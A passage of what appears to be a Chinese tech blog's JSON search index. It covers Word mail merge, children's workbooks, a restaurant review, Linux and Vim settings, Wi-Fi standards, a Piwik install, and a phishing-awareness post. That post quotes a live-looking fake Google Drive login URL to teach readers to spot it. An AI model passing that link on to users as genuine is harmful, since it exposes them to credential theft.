Word，在頁面中新增一個表格，至於表格的大小，就看自己的需要而定。\n這裡我想製作一般名片大小的名牌，一般標準的名片大小是 92mm x 56mm，而一張 A4 的紙大概可以放 10 張名牌，這個部分自己算一下應該很容易。\n在「版面配置」的籤頁中，可以直接指定表格的尺寸，用這樣的方式來指定會比較準確。\nStep 3\n接著調整一下邊界，讓一張 A4 紙可以放得下 10 張名片。\n因為如果邊界設得太小，在列印時很容易會印不出來，這裡就自己嘗試調一個比較適合的大小，我是將上下邊界設為 0.7 公分，左右是 1.27 公分。\n調好邊界後，會像這樣。\nStep 4\n如果您要列印的名牌數量很多，可以將滑鼠游標放在表格的最後一個空格中，然後重複按下 Tab 鍵。\n這樣 Word 就會自動新增新的空格出來。\nStep 5\n接著設計名牌的文字排版，我們可以隨便拿一個人員的資料來測試排版，嘗試看看各種字型大小或是樣式的感覺。\n文字打上去之後，接下來要加入背景圖。\nStep 6\n名牌通常都要搭配一個背景圖才會比較有質感，我們可以從「插入」籤頁中選擇「圖片」，在表格中任意的位置插入一張背景圖片。\n插入圖片之後，整個表格會亂掉，不過沒有關係，在圖片上按下滑鼠右鍵，選擇「文繞圖」的「文字在前」，這樣這張圖片就會被當成背景，不會影響到表格與文字。\n接著點選圖片選單的「裁切」。\n將圖片裁切或是縮放成一個空格的大小，這個其實不用很精準，大約就可以了。\n把裁切好的圖片放進第一個空格中。\nStep 7\n微調背景圖大小，因為在裁切時，通常都很難切的剛剛，所以只要大約切一下，選擇圖片的「大小及位置」。\n在這裡指定圖片的尺寸，這樣尺寸就可以很準確，至於比例的部分，因為是背景，所以差一點點應該是還好。\n最後在把這張圖精準的放進第一個空格。\n這時候可以配合背景，再稍微調整一下文字的排版。\n設計好整個名片的樣式之後，接著就是要將 Excel 的資料讀進來了。\nStep 8\n設計好名牌的排版之後，接下來就要開始套用 Excel 的資料了。在「郵件」籤頁中，點選「選取收件者」，然後選擇「使用現有清單」。\nStep 9\n選擇剛剛建立的 Excel 資料檔案。\nStep 10\n選擇人員名單的 Excel 籤頁。\nStep 11\n接著把剛剛排版好的姓名「岳不群」三個字先刪除，然後點選「郵件」籤頁的「插入合併欄位」，選擇「姓名」。\n這裡「插入合併欄位」中的欄位其實就是 Excel 中的欄位名稱。插入之後，會變成這樣。\nStep 12\n用同樣的方式，將「單位」與「職稱」這些其他欄位也替換成合併欄位的控制碼。\nStep 13\n按下「預覽結果」按鈕，這樣 Word 就會把這裡的控制碼替換成 Excel 中的資料。\n確認無誤之後，就可以再按一下「預覽結果」按鈕，將畫面切換回來。\nStep 14\n接著將第一個儲存個的內容複製起來，貼到第二個儲存格。\n貼上去就會像這樣。\nStep 15\n如果這個時候您按下「預覽結果」按鈕，會發現兩個儲存格會出現同樣的資料，接下來我們要讓 Word 可以自動依序讀取 Excel 中的下一筆資料，在第二個儲存格的「姓名」控制碼的前方加上一個讀取下一筆資料的控制碼。\n將滑鼠游標移動到「姓名」控制碼的前方。\n然後點選「規則」的「Next Record（下一筆紀錄）」。\n插入「Next Record（下一筆紀錄）」之後，版面會亂掉，不過這個沒有關係，不用去理會它。\nStep 16\n按下「預覽結果」按鈕，檢查一下 Word 有沒有正確的把下一筆資料讀進來，正常應該會像這樣。\nStep 17\n把第二個儲存格的內容複製到其他所有的儲存格。\nStep 18\n按下「預覽結果」按鈕，這樣就可以看到所有的名牌了。\nStep 19\n如果要列印下來裁切的話，建議可以把表格的格線隱藏起來。\n這樣就不會有黑色的線了。\n製作好的這個 Word 檔案因為需要從 Excel 讀取資料，所以裡面有包含一些程式與控制碼，但是如果要把做好的 Word 寄給別人使用，有這些控制碼通常會造成很多麻煩，我們可以按下「郵件」籤頁的「完成與合併」，這樣就會將 Excel 的資料合併，產生另一個普通的 Word 檔案，這樣別人使用起來就會單純許多。\nImage Credit：Flickr\n","permalink":"https://blog.gtwang.org/windows/making-name-plate-table-card-using-word-and-excel/","summary":"\u003cp\u003e本文介紹如何在 Word 中讀取 Excel 的資料，自動產生大量的名牌、桌牌或是各種指示牌。\u003c/p\u003e\n\u003cp\u003e在舉辦一些研討會、活動聚會或是聚餐時，通常都會需要製作給人員配戴的名牌，而在座位上也會需要放置桌牌，或類似的標示牌，如果數量少的話，自己用手動的方式在 Word 剪剪貼貼，就可以做完了，但是如果標示牌的數量很多，每一張要貼上不同的姓名與單位等資料，不僅耗時而且很容易出錯，這時候就可以利用 Word 的合併列印功能，直接將 Excel 表格中的資料讀進來，自動排版成自己設計的樣子，不管有多少張標示牌都不是問題。以下是在 Office 2013 中，使用 Word 與 Excel 製作大量名牌的步驟。\u003c/p\u003e","title":"使用 Word 結合 Excel 資料製作大量名牌、桌牌與各種指示牌"},{"content":"這裡整理了一些給小朋友練習寫數字的免費練習本電子檔，下載後列印即可使用。\n我們之前介紹過自己列印的著色本與注音練習本，以下是阿拉伯數字的練習本。\n數字 0-10 描寫簿 中空的阿拉伯數字描寫簿。\n名稱：數字 0-10 描寫簿\n作者：多采多姿瑜婷小寶貝日記\n下載連結：數字 0-10 描寫簿\n1-10 描寫練習 虛線的阿拉伯數字描寫簿，字體較大，適合入門的小朋友。\n名稱：1-10 描寫練習\n作者：多采多姿瑜婷小寶貝日記\n下載連結：1-10 描寫練習\n123 練習簿（初級） 虛線描寫簿。\n名稱：123 練習簿（初級）\n作者：多采多姿瑜婷小寶貝日記\n下載連結：123 練習簿（初級）\n123 練習簿（中級） 除了虛線描寫，還有數量的認知練習。\n名稱：123 練習簿（中級）\n作者：多采多姿瑜婷小寶貝日記\n下載連結：123 練習簿（中級）\nNumber-writing 名稱：Number-writing\n作者：Oxford Parents\n下載連結：Number-writing\n自製數字練習簿 其實如果只是要數字的練習本，可以上網搜尋「虛線字型」，自己用 Word 製作。\n自製練習簿有個好處就是字型大小可以自由調整，小朋友如果喜歡什麼卡通人物，也可以自己貼上去。\n這是我自己製作的練習簿。\n名稱：自製數字練習簿\n下載連結：自製數字練習簿\n其他數字練習簿 以下是其他的一些數字練習簿：\n下載連結：1-10 數字練習簿\n如果是年紀比較小的小朋友，不會拿筆的話，可以用彩色筆來畫，這樣也可以幫助小朋友學習數字。\n","permalink":"https://blog.gtwang.org/children/number-practice-books-for-children/","summary":"\u003cp\u003e這裡整理了一些給小朋友練習寫數字的免費練習本電子檔，下載後列印即可使用。\u003c/p\u003e\n\u003cp\u003e我們之前介紹過自己列印的\u003ca href=\"/children/print-coloring-book-for-kids/\"\u003e著色本\u003c/a\u003e與\u003ca href=\"/children/phonetic-exercise-books-for-children/\"\u003e注音練習本\u003c/a\u003e，以下是阿拉伯數字的練習本。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"數字-0-10-描寫簿\"\u003e數字 0-10 描寫簿\u003c/h2\u003e\n\u003cp\u003e中空的阿拉伯數字描寫簿。\u003c/p\u003e","title":"兒童數字 123 練習本免費下載整理（虛線簿、描寫簿、作業簿）"},{"content":"這裡蒐集了許多免費的注音練習本，用印表機印下來後就可以給小朋友練習寫注音了。\n我們之前介紹過一些免費的卡通著色圖案畫冊，可以讓家長自己列印小朋友的折色本，而當小朋友在長大一些時，就要給他們學習寫注音了，這裡我們整理了一些注音的練習本，同樣都是下載後列印就可以給小朋友使用了，既經濟又方便！\n除了注音符號之外，阿拉伯數字也是小朋友常會需要練習的，如果需要阿拉伯數字的練習本，可以參考兒童數字 123 練習本，另外也有英文字母的練習本可以下載使用。\n在付費的教材部分，巧連智應該是最有名的，不過我個人是比較歡國語週刊系列的教材，有興趣的人可以參考看看。\nㄅㄆㄇ練習簿（初級） ㄅㄆㄇ練習簿提供了每一個注音符號的筆畫練習，格子很大，適合剛開始練習的小朋友。\n名稱：ㄅㄆㄇ練習簿（初級）\n作者：多采多姿瑜婷小寶貝日記\n下載連結：ㄅㄆㄇ練習簿（初級上）、ㄅㄆㄇ練習簿（初級下）\n創意ㄅㄆㄇ 使用一些插圖，吸引小朋友練習，格子很大，適合入門的小朋友。\n名稱：創意ㄅㄆㄇ\n作者：多采多姿瑜婷小寶貝日記\n下載連結：創意ㄅㄆㄇ\nㄅㄆㄇ練習簿（中級） 這個跟初級的差不多，不過格子比較小一些，空白處增加分隔虛線。\n名稱：ㄅㄆㄇ練習簿（中級）\n作者：多采多姿瑜婷小寶貝日記\n下載連結：ㄅㄆㄇ練習簿（中級）\n注音符號習字本 這本是比較制式化的練習本，格子比較小一些。\n名稱：注音符號習字本\n作者：bod-idv-tw小書製作\n下載：注音符號習字本\n備用連結：注音符號習字本\n注音練習簿（入門） 空心字含虛線的注音符號，適合初次描寫注音的小朋友，有邊框及虛線引導描寫。\n名稱：注音練習簿（入門）\n作者：宅媽碎碎唸\n下載連結：注音練習簿（入門，有虛線）、注音練習簿（入門，無虛線）\n注音練習簿（初階） 初階的注音練習簿，字很大。\n名稱：注音練習簿（初階）\n作者：宅媽碎碎唸\n下載：注音練習簿（初階）\n備用連結：注音練習簿（初階）\n注音練習簿（中階） 中階的注音練習簿，字稍微小一點。\n名稱：注音練習簿（中階）\n作者：宅媽碎碎唸\n下載：注音練習簿（中階）\n備用連結：注音練習簿（中階）\n注音練習簿（進階） 進階的注音練習簿，有拼音的部分。\n名稱：注音練習簿（進階）\n作者：宅媽碎碎唸\n下載：注音練習簿（進階）\n備用連結：注音練習簿（進階）\n新北市版生字語詞簿 這是新北市政府教育局提供的免費教材，一年級上學期的部分，就是注音練習本。\n名稱：新北市版生字語詞簿\n下載連結：南一、康軒、翰林\n虛線練習簿 一般的虛線練習簿。\n下載：注音、英文字母、數字\n","permalink":"https://blog.gtwang.org/children/phonetic-exercise-books-for-children/","summary":"\u003cp\u003e這裡蒐集了許多免費的注音練習本，用印表機印下來後就可以給小朋友練習寫注音了。\u003c/p\u003e\n\u003cp\u003e我們之前介紹過一些\u003ca href=\"/children/print-coloring-book-for-kids/\"\u003e免費的卡通著色圖案畫冊\u003c/a\u003e，可以讓家長自己列印小朋友的折色本，而當小朋友在長大一些時，就要給他們學習寫注音了，這裡我們整理了一些注音的練習本，同樣都是下載後列印就可以給小朋友使用了，既經濟又方便！\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e除了注音符號之外，阿拉伯數字也是小朋友常會需要練習的，如果需要阿拉伯數字的練習本，可以參考\u003ca href=\"/children/number-practice-books-for-children/\"\u003e兒童數字 123 練習本\u003c/a\u003e，另外也有\u003ca href=\"/children/alphabet-tracing-sheets/\"\u003e英文字母的練習本\u003c/a\u003e可以下載使用。\u003c/p\u003e","title":"兒童注音ㄅㄆㄇ練習本免費下載整理（虛線簿、描寫簿、作業簿）"},{"content":"「給足麵子」是位於台中西屯區的一家蛋奶素、全素食餐廳，餐點好吃、環境優雅。\n這禮拜去台中科學園區出差，中午出來附近吃飯，因為我個人吃素，所以同事們就一起找一家附近的素食餐廳用餐。我們上網搜尋了一下，在福科路上有一家還不錯的素食，網友評價都還不錯，而且離中科也很近，所以今天就決定選擇這家了。\n「給足麵子」目前已經終止營業。\n這家店就在福科路大馬路上，招牌很明顯、很好找。\n這是店面門口的樣子。\n招牌外表看起來都很新，應該是剛開幕不久。\n店內的佈置讓人感覺很舒服，還有播放一些輕音樂。\n這是很有創意的菜單。\n同事們點的餐點，我已經忘記他們點什麼了。\n我點的是天津餛飩湯麵，還蠻大一碗的。\n這裡的餐點強調不使用素料、不使用味精，是比較健康的，若是帶小朋友來吃應該也很不錯，而在份量上也是相當充足，一般人應該都可以吃的很飽。\n店內的擺設很整潔，餐具、調味料有專屬的置物架，也有提供很方便的洗手間，每一張桌的桌上還都有放置一條濕毛巾，方便顧客使用，其實看得出來老闆很用心經營。\n店名：給足麵子\n地址：台中市西屯區福科路912號\n因為今天是臨時決定去這家給足麵子，所以身上也只有一隻手機可以照相，相片拍的不太好，而現場環境真的不錯，推薦大家可以去吃吃看。\n","permalink":"https://blog.gtwang.org/life/gave-sufficient-noodle-taichung-vegetarian-restaurant/","summary":"\u003cp\u003e「給足麵子」是位於台中西屯區的一家蛋奶素、全素食餐廳，餐點好吃、環境優雅。\u003c/p\u003e\n\u003cp\u003e這禮拜去台中科學園區出差，中午出來附近吃飯，因為我個人吃素，所以同事們就一起找一家附近的素食餐廳用餐。我們上網搜尋了一下，在福科路上有一家還不錯的素食，網友評價都還不錯，而且離中科也很近，所以今天就決定選擇這家了。\u003c/p\u003e","title":"[台中素食] 給足麵子：創意素食、泰式素食，近中科"},{"content":"這裡介紹如何在 Linux 環境中設定好預設的編輯器，讓 visudo 等指令可以使用自己習慣的編輯器。\n在 Linux 中使用終端機在管理系統時，某些指令在執行時會需要配合一個文字編輯器來使用，讓使用者進行文字的修改之後，再繼續執行後續的動作，visudo 就是一個典型的例子，在執行該指令之後，就會開啟系統預設的編輯器，對 /etc/sudoers 進行編輯：\n在使用者修改設定並且存檔離開之後，visudo 就會自動更新系統上的狀態，讓新設定馬上生效。因為我的 Ubuntu Linux 系統上有另外安裝 vim-gnome，這裡 visudo 所呼叫的編輯器預設會使用 Vim，如果是在新安裝好的系統上，預設會是 nano。\n雖然每個編輯器都可以使用，但是大家通常都會喜歡使用自己習慣的那一個，我們可以透過 EDITOR 這個環境變數來指定要使用的編輯器：\nsudo EDITOR=nano visudo 如果要更改系統預設的編輯器，可以執行：\nsudo update-alternatives --config editor 這時候它會列出系統上所有可以使用的編輯器：\n替代項目 editor（提供 /usr/bin/editor）有 5 個選擇。 選項 路徑 優先權 狀態 ------------------------------------------------------------ * 0 /usr/bin/vim.gnome 60 自動模式 1 /bin/ed -100 手動模式 2 /bin/nano 40 手動模式 3 /usr/bin/vim.basic 30 手動模式 4 /usr/bin/vim.gnome 60 手動模式 5 /usr/bin/vim.tiny 10 手動模式 按 [enter] 保留目前選項 [*]，或輸入選項編號： 接著輸入想要選擇的編輯器編號就可以了。\n參考資料 askubuntu stackexchange stackexchange ","permalink":"https://blog.gtwang.org/linux/change-linux-default-editor/","summary":"\u003cp\u003e這裡介紹如何在 Linux 環境中設定好預設的編輯器，讓 \u003ccode\u003evisudo\u003c/code\u003e 等指令可以使用自己習慣的編輯器。\u003c/p\u003e\n\u003cp\u003e在 Linux 中使用終端機在管理系統時，某些指令在執行時會需要配合一個文字編輯器來使用，讓使用者進行文字的修改之後，再繼續執行後續的動作，\u003ccode\u003evisudo\u003c/code\u003e 就是一個典型的例子，在執行該指令之後，就會開啟系統預設的編輯器，對 \u003ccode\u003e/etc/sudoers\u003c/code\u003e 進行編輯：\u003c/p\u003e","title":"設定 Linux 預設的編輯器（EDITOR）"},{"content":"這裡介紹如何設定 Vim 編輯器使用 UTF8 編碼，解決中文字出現亂碼的問題。\n現在許多的文字資料都會以萬國碼（Unicode）的方式來編碼，尤其是在包含中文的文字檔時，UTF8 是最常見的編碼格式，而在使用 Vim 開啟這類的文字檔案時，如果預設的編碼不是 UTF8，中文的部分就會跑出亂碼，以下教大家如何設定 Vim 來解決這個問題。\n就我個人而言，都是習慣使用 Vim 來寫程式，偶而會在程式碼中放一些中文註解，Vim 沒有設定好編碼的話，就會像這樣出現一堆亂碼。\n這時候可以更改 encoding 這個設定，它可用來指定 Vim 內部對於文字編碼方式：\nset encoding=utf8 另外 fileencoding 是用來設定特定檔案的編碼，使用 setglobal 可以設定它的預設值。\nsetglobal fileencoding=utf-8 fileencoding 若設定為空字串則表示跟 encoding 所指定的編碼方式相同。\n如果要立即更改 Vim 的設定，可直接使用在指令列命令模式（command-line mode）設定 fileencoding：\n通常這樣應該就可以正常顯示中文了。\n如果要讓 Vim 自動可以處理這個問題，可以將這段程式碼貼進 vimrc 檔案中：\nif has(\u0026#34;multi_byte\u0026#34;) if \u0026amp;termencoding == \u0026#34;\u0026#34; let \u0026amp;termencoding = \u0026amp;encoding endif set encoding=utf-8 setglobal fileencoding=utf-8 \u0026#34;setglobal bomb set fileencodings=ucs-bom,utf-8,latin1 endif 這樣以後使用 Vim 編輯中文的文字，就不會有亂碼了。\n參考資料 Vim Tips Wiki ","permalink":"https://blog.gtwang.org/tips/vim-working-with-unicode/","summary":"\u003cp\u003e這裡介紹如何設定 Vim 編輯器使用 UTF8 編碼，解決中文字出現亂碼的問題。\u003c/p\u003e\n\u003cp\u003e現在許多的文字資料都會以萬國碼（Unicode）的方式來編碼，尤其是在包含中文的文字檔時，UTF8 是最常見的編碼格式，而在使用 Vim 開啟這類的文字檔案時，如果預設的編碼不是 UTF8，中文的部分就會跑出亂碼，以下教大家如何設定 Vim 來解決這個問題。\u003c/p\u003e","title":"VIM 編輯器顯示萬國碼（Unicode）文字，解決亂碼問題"},{"content":"這裡介紹各種 Wi-Fi 無線網路的傳輸標準與差異，可幫助判斷自己的無線網路路由器是否該升級了。\n如果您有好幾年沒有升級過自己的 Wi-Fi 無線網路路由器，那您可能要稍微注意一下了，雖然舊的路由器依然可以使用，不過由於 Wi-Fi 無線網路的傳輸協定標準不斷演進，更換一個支援新標準的路由器通常可以提升 Wi-Fi 無線網路的品質。\n舊的路由器有什麼問題？ 一般人對於家中的 Wi-Fi 無線網路路由器，大概都是買了之後插上網路線，就放著一直用，除非它壞掉，否則沒有人會去注意它，縱使用了好幾年了，它還是可以提供穩定且可靠的 Wi-Fi 無線網路，所以大家通常大概也都不會想要換新的路由器。\n如果您對於既有的無線網路速度相當滿意，當然繼續使用舊的路由器就夠了，而若是想要提升無線網路的傳輸速度與品質，那就要注意一下自己的路由器是否有支援比較新的傳輸標準，因為在使用無線網路傳送資料時，資料一定會經過路由器，如果路由器的速度卡住的話，不管其他週邊設備的網路卡有多好都沒有用。\n簡單來說，新的路由器會支援新的無線網路傳輸標準，在新的標準之下會有更好的傳輸速度，而且訊號的干擾也會降低，如果家中有一台很舊的 Wi-Fi 路由器在扯後腿，那不管您的手機或是筆電有多新，最終所有的設備都會受限於這台舊的路由器，無法讓這些新的設備發揮出應有的效能。\n各種無線網路標準 由於無線網路的技術不斷演進，傳輸標準也跟著推陳出新，以下是目前市面上常見的幾種 IEEE 802.11 標準：\n標準 年份 特性 802.11ac 2013 802.11ac 使用 5 GHz 的頻帶，同時也向下相容舊的標準，可提供 2.4 GHz 頻帶給舊的 802.11n 設備使用，這也代表它可以提供更穩定可靠的無線網路訊號。理論上來說，它的傳輸速度可以到達 866.7 Mbit/s。 802.11n 2009 802.11n 應該算是目前市場上很常看到的標準之一，它跟 802.11ac 類似，可以提供 5 GHz 或 2.4 GHz 的頻帶，但是它一次只能使用其中一種，不能同時使用，所以訊號的狀況會比 802.11ac 容易受干擾。理論傳輸速度為 150 Mbit/s。 802.11g 2003 在 802.11n 之前的標準，只能使用 2.4 GHz 的頻帶，理論傳輸速度為 54 Mbit/s。 802.11b 1999 這又是更舊的標準，理論傳輸速度為 11 Mbit/s。 在 802.11b 標準之前，另外還有一種 802.11a，不過因為實在是太舊了，現在應該也很難找到這種設備了，所以就不放進來了。\n在這些標準中的速度都是理論值，在實際的狀況下通常都達不到理論速度，但是每一個標準都有相同的狀況，大家都打折的狀況下，新的 802.11ac 還是會比舊的 802.11n 或 802.11g 快很多的。\n這裡我們只是簡單列出各種標準之間最基本的差異，如果想知道其他的細節，可以參考 Wiki 的文件。\n檢查路由器所支援的無線網路標準 在了解各種標準之間的差異之後，接著就是要檢查一下自己的路由器了，確認一下自己的路由器所支援的標準，這樣才能判斷是否需要把舊的路由器換新。\n通常在每一台路由器的外殼或是標籤上都會註明它所支援的標準是哪一個，有時候他不會寫整個標準的全名，只會簡單寫最後的英文字，不過因為市面上常見的標準就只有這幾種，所以應該是很好辨識。\n下面這個就是我的一台 TP-LINK 路由器的標示，上面寫「11N 150Mbps」就是代表他支援 802.11n，理論傳輸速度為 150Mbit/s。\n如果路由器的外盒還在的話，上面一定也會有寫它支援的標準。\n該換路由器了嗎？ 目前最新的筆電或是手機應該會支援到最新的 802.11ac 標準了，所以如果您的路由器只有 802.11g，那新的手機的傳輸速度就會受限於就路由器的速度（54 Mbit/s），無法發揮出它應有的傳輸效能，當家中有好多台手機、平板或是筆電使用區域網路互相傳輸檔案時（如分享照片或影片），就會有明顯的感覺。\n在以前來說，如果我們都只是使用手機或是筆電來上網，沒有在區域網路中傳輸大量資料的話，網路速度的瓶頸大都會出現在對外的連線上，Wi-Fi 通常再怎麼慢通常都不是最慢的（永遠有 ADSL 這類的網路墊底），所以一般來說使用舊路由器並不會造成太大的影響。（餐參考網路的延遲與頻寬是什麼？）\n但是現在的網路速度一天比一天快，舊的路由器已經慢慢變成真正的瓶頸了，以中華電信光世代產品的 60M/20M 方案來說，他的下載速度實際測試可以到 58 Mbit/s 以上，如果您這時候還在用 802.11g 的舊路由器，那你的上網速度就會大幅打折，802.11g 的理論速度是 54 Mbit/s，請注意這是理論值，實際值還要再下修，整個網路速度就被舊的路由器拖慢了！\n以傳輸速度為考量的話，若要判斷是否需要更換路由器，主要有兩點關鍵：\n是否有多台新的手機、筆電或是平板需要在區域網路中互傳大量資料？ 是否有使用較快的寬頻網路（例如中華電信光世代）？ 這兩個是最需要更換新路由器的狀況，如果以上兩點您都沒有，那應該可以不需要考慮更換路由器，使用舊的應該還是不錯的。\n在訊號的干擾問題上，802.11ac 可以有效降低干擾的程度，您可以評估自己家中的 Wi-Fi 訊號狀況，如果干擾太嚴重，影響網路品質的話，就可以考慮更換，不過通常這種狀況應該不常見。\n參考資料 HTG ","permalink":"https://blog.gtwang.org/tips/upgrade-your-wireless-router-to-get-faster-speeds-and-more-reliable-wi-fi/","summary":"\u003cp\u003e這裡介紹各種 Wi-Fi 無線網路的傳輸標準與差異，可幫助判斷自己的無線網路路由器是否該升級了。\u003c/p\u003e\n\u003cp\u003e如果您有好幾年沒有升級過自己的 Wi-Fi 無線網路路由器，那您可能要稍微注意一下了，雖然舊的路由器依然可以使用，不過由於 Wi-Fi 無線網路的傳輸協定標準不斷演進，更換一個支援新標準的路由器通常可以提升 Wi-Fi 無線網路的品質。\u003c/p\u003e","title":"該升級 Wi-Fi 路由器了嗎？各種無線網路傳輸標準與差異"},{"content":"HyperFocal Pro 是一個景深計算器 Android App，操作方式簡單、畫面設計也很直覺，是攝影師必備的隨身工具。\n淺景深（depth of field）效果是許多人在拍照時非常喜歡使用的技巧，透過光圈、焦段與拍攝距離的控制，可以讓主體清晰而背景模糊，讓畫面更具有立體感。然而對於新手而言，一開始要掌握景深的控制，並不是那麼容易的，有時候景深抓得太淺，反而會讓主體模糊，讓整張畫面失焦。\nHyperFocal Pro 是一個可以計算景深的手機 App，對於新手而言也很容易使用，只要輸入拍攝時的相關參數，就可以立即計算出景深的距離。\nHyperFocal Pro 的操作介面很簡潔，只要輸入相機型號、鏡頭焦距、光圈值與拍攝距離，就可以計算出景深的範圍。\n相機的部分，它有內建各家廠牌的相機型號，一般常見的單眼相機應該都有。如果沒有的話，也可以自行輸入相機感光元件的尺寸。\n選擇鏡頭焦距。\n選擇光圈。\n設定拍攝距離。\n除了計算景深之外，也可以計算視野（field of view）。\n計算視角（angle of view）。\n焦距、光圈與 HFD（hyperfocal distance）的對應表。\n","permalink":"https://blog.gtwang.org/tips/hyperfocal-pro-depth-of-field-calculator-android-app/","summary":"\u003cp\u003eHyperFocal Pro 是一個景深計算器 Android App，操作方式簡單、畫面設計也很直覺，是攝影師必備的隨身工具。\u003c/p\u003e\n\u003cp\u003e淺景深（depth of field）效果是許多人在拍照時非常喜歡使用的技巧，透過光圈、焦段與拍攝距離的控制，可以讓主體清晰而背景模糊，讓畫面更具有立體感。然而對於新手而言，一開始要掌握景深的控制，並不是那麼容易的，有時候景深抓得太淺，反而會讓主體模糊，讓整張畫面失焦。\u003c/p\u003e","title":"HyperFocal Pro：簡單好用的景深計算器 App"},{"content":"這是我今天收到的網路釣魚信件，信中假冒 Google 雲端硬碟說有人存取了我的資料，想騙我登入竊取帳號與密碼。\n網路釣魚是一種很常見的網路犯罪手法，它透過假冒的登入網頁，竊取使用者的帳號密碼，今天剛好收到一封網路釣魚信件，以下是信件內容：\n信件內容說「芷嫻 黃(Chihhh8402) 存取了您的雲端硬碟資料-（共享文檔：ISO_ASN9025參考.pdf）」，可是我仔細看了一下我的雲端硬碟，根本沒有這個檔案，然後看了一下它所提供的「前往我的雲端硬碟」連結，網址是：\nhttp://drive.google.com.qc.to/uac/auth/google/drive_c0231732.htm 這個網站是屬於 qc.to 網域之下的，跟 Google 一點關係也沒有，而且也沒有 https 的加密！但是畫面卻做的跟 Google 幾乎一樣：\n這個詐騙網站其實也沒有做得很好，左下角還跑出一些亂碼，應該是在複製 Google 網頁時沒有弄好，露出馬腳。\n正版的 Google 雲端硬碟登入網址為：\nhttps://accounts.google.com/ServiceLogin?service=wise\u0026amp;passive=true\u0026amp;continue=http%3A%2F%2Fdrive.google.com%2F%3Futm_source%3Dzh-TW%26utm_medium%3Dbutton%26utm_campaign%3Dweb%26utm_content%3Dgotodrive%26usp%3Dgtd%26ltmpl%3Ddrive\u0026amp;urp=https%3A%2F%2Fwww.google.com.tw%2F#identifier 真正的 Google 雲端硬碟是要在 google.com 網域之下，畫面是這樣：\n由於畫面很接近，如果您這時候沒注意到它有問題，在假的登入畫面輸入帳號密碼的話，您的帳號與密碼就會被駭客竊取走，所以請特別小心。\n一般如果收到這樣的可疑信件，建議是不要點選信件中的連結，如果要登入自己的雲端硬碟，請直接另外開一個新的瀏覽器視窗，手動輸入 Google 的網址 www.google.com.tw 來進行登入，這樣就可以避免被詐騙的危險。\n","permalink":"https://blog.gtwang.org/tips/google-drive-phishing-email/","summary":"\u003cp\u003e這是我今天收到的網路釣魚信件，信中假冒 Google 雲端硬碟說有人存取了我的資料，想騙我登入竊取帳號與密碼。\u003c/p\u003e\n\u003cp\u003e網路釣魚是一種很常見的網路犯罪手法，它透過假冒的登入網頁，竊取使用者的帳號密碼，今天剛好收到一封網路釣魚信件，以下是信件內容：\u003c/p\u003e","title":"網路詐騙釣魚信件：「您的雲端硬碟有異動」，千萬別上當！"},{"content":"這裡介紹如何在 DreamHost 主機空間中，使用 Piwik 架設一個自己的網站流量統計分析工具。\n大部份的網站或是部落格在架設完成之後，通常都會加上網站流量的統計分析工具，這類的工具可以幫助站長瞭解自己網站的流量狀況，市面上這類的免費工具非常多，例如 Google Analytics 與 Yahoo 站長工具就是很常被使用的兩個免費服務，我個人也是偏好使用 Google Analytics，不但功能豐富、速度快，而且完全不用自己維護伺服器，非常方便。\n但通常這類的免費服務有兩個缺點，第一個是自己網站所有流量的資料都放在服務提供者（如 Google）的伺服器端，也就是說服務提供者可以完全掌握您的網站資料，第二個問題則是站長在服務提供者所提供的報表上無法看到某些細部的資料，例如在 Google Analytics 中就無法查看訪客的 IP 位址，而原始的伺服器記錄檔也是不可能看得到的。\n如果想要改善使用一般免費服務會有的問題，可以改用 Piwik 這類開放原始碼的網站流量統計分析工具，自己架設一個私人的服務，這樣站長可以完全掌握所有的資料，也沒有任何資料外洩的問題。\n以下是在 DreamHost 的主機空間中，使用一鍵安裝架設 Piwik 的步驟。\nStep 1\n首先新增一個給 Piwik 使用的獨立空間，點選「Manage Domains」中的「Add Hosting to a Domain」。\nStep 2\n選擇一個新的網址，這裡我們使用 piwik.gtwang.org 做為示範。\nStep 3\n新的 domain 新增好之後，選擇新 domain 的 DNS 設定。\nStep 4\n複製這些 DNS 設定，將這些設定寫進自己的 DNS 伺服器中。\nStep 5\n以 GoDaddy 為例，在 DNS Zone File 設定頁面中，點選「Add Record」。\nStep 6\n新增 DNS 的 A 紀錄。\nStep 7\n如果您有使用 CloudFlare 代管 DNS 的話，也要一併更新上面的 DNS 紀錄。\nStep 8\n回到 DreamHost，在「One-Click Installs」功能中，點選「Piwik」。\nStep 9\n選擇要安裝的網站空間，然後按下「Install it for me now!」。\nStep 10\n安裝完成後，要再等十分鐘，讓網站設定生效。\nStep 11\n開啟新的網址：http://piwik.gtwang.org/，點選「Next」進行安裝。\nStep 12\n確認伺服器環境，這裡通常不會有問題，直接點選「Next」。\nStep 13\n輸入 MySQL 資料庫的資訊，這個部分要從 DreamHost 的設定中查詢，請看下一個步驟。\nStep 14\n在 DreamHost 的 MySQL 資料庫設定頁面中，找到剛剛新增的資料庫，點選「Users with Access」欄位的使用者名稱，裡面就可以查到資料庫的 database name、使用者名稱與密碼。將這些資訊填入 Piwik 的欄位中。\nStep 15\n設定好資料庫之後，繼續點選「Next」。\nStep 16\n建立 Piwik 的管理者帳號。\nStep 17\n新增一個要分析流量的網站。\nStep 18\n將這裡產生的 JavaScript 程式碼貼到自己的網站上，放在 \u0026lt;/body\u0026gt; 之前。\nStep 19\n設定完成，這裡建議更改一下預設的設定，把下方兩個選項取消，讓 Piwik 可以搜集到最多的流量資訊。\nStep 20\n登入 Piwik。\nStep 21\n這是 Piwik 預設的 Dashboard 頁面。\nStep 22\n使用者可以透過滑鼠拖拉的方式，設計自己喜歡的報表排列方式。\n","permalink":"https://blog.gtwang.org/web-development/dreamhost-install-piwik-web-analytics-tool/","summary":"\u003cp\u003e這裡介紹如何在 DreamHost 主機空間中，使用 Piwik 